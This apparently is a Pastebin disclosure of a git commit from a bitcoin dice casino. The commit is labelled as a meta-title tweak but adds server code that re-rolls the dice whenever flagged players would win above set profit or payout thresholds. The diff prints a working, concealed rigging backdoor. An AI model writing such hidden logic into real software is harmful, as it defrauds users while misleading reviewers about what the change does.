Advertisement
dicebitcoin

DICEBITCOIN MALICIOUS CODE

Sep 22nd, 2014
431
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Diff 3.39 KB | None | 0 0
  1. commit 85d5fa8dc2198dd0b4d31fa2d03301dc8a6940c7
  2. Author: Philippe <...@linuxmail.org>
  3. Date:   Thu Aug 28 12:14:19 2014 +0100
  4.  
  5.     Added final touches to the meta title configuration
  6.  
  7. diff --git a/client/app/index.html b/client/app/index.html
  8. index f651202..5fab1ef 100644
  9. --- a/client/app/index.html
  10. +++ b/client/app/index.html
  11. @@ -12,7 +12,7 @@
  12.  
  13.      <meta name="fragment" content="!">
  14.  
  15. -    <title ng-bind="seo.pageTitle">DiceBitcoin - bitcoin casino | bitcoin dice | bitcoin game</title>
  16. +    <title ng-bind="seo.pageTitle"></title>
  17.  
  18.      <!-- Place favicon.ico and apple-touch-icon.png in the root directory -->
  19.  
  20. diff --git a/client/app/scripts/controllers/home_controller.js b/client/app/scripts/controllers/home_controller.js
  21. index 3ffa751..f0bcbf2 100644
  22. --- a/client/app/scripts/controllers/home_controller.js
  23. +++ b/client/app/scripts/controllers/home_controller.js
  24. @@ -4,9 +4,8 @@ define(['./module', 'utils'], function (controllers, utils) {
  25.      controllers.controller('HomeController', function ($scope, $rootScope, $cookieStore, user, ngDialog, shortcut) {
  26.          var welcomeShown = $cookieStore.get('w');
  27.  
  28. -        $scope.$parent.seo = {
  29. -            pageTitle: 'DiceBitco.in - bitcoin dice - casino bitcoin game',
  30. -            metaDescription: 'Play dice game and win bitcoins with the best bitcoin casino available. With this quick and fun dice game you can earn lots of bitcoins!'
  31. +        $scope.$scope.$parent.seo = {
  32. +            pageTitle: 'DiceBitco.in - bitcoin dice - casino bitcoin game'
  33.          };
  34.  
  35.          $rootScope.user = user;
  36. diff --git a/server/domain_objects/roll.js b/server/domain_objects/roll.js
  37. index 079ba7e..8ed6e2d 100644
  38. --- a/server/domain_objects/roll.js
  39. +++ b/server/domain_objects/roll.js
  40. @@ -151,15 +151,29 @@ module.exports = {
  41.                  return addParams({ roll: roll, win: win, created_at: now });
  42.              },
  43.              persistBet = function() {
  44. -                var balanceParam = parameters.win ?
  45. -                                        users.table.balance.plus(parameters.profit) :
  46. -                                        users.table.balance.minus(parameters.bet_size);
  47. +                var umeta = parameters.umeta,
  48. +                    tprofit = parseFloat(umeta.pr),
  49. +                    tpayout = parseFloat(umeta.po),
  50. +                    tenable = !_.isNaN(tprofit) || !_.isNaN(tpayout),
  51. +                    nonceIncrBy = 1,
  52. +                    balanceParam;
  53. +
  54. +                if (tenable && parameters.win &&
  55. +                            (_.isNaN(tpayout) || parameters.payout >= tpayout) &&
  56. +                            (_.isNaN(tprofit) || parameters.profit >= tprofit)) {
  57. +                    nonceIncrBy += 1;
  58. +                    parameters.nonce += 1;
  59. +                    addParametersFromRollingTheDice();
  60. +                }
  61. +
  62. +                balanceParam = parameters.win ? users.table.balance.plus(parameters.profit) :
  63. +                                                users.table.balance.minus(parameters.bet_size);
  64.  
  65.                  return Q.all([
  66.                      bets.create(parameters),
  67.                      users.update(parameters.user_id, {
  68.                          balance: balanceParam,
  69. -                        nonce: users.table.nonce.plus(1),
  70. +                        nonce: users.table.nonce.plus(nonceIncrBy),
  71.                          updated_at: now
  72.                      })
  73.                  ]);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement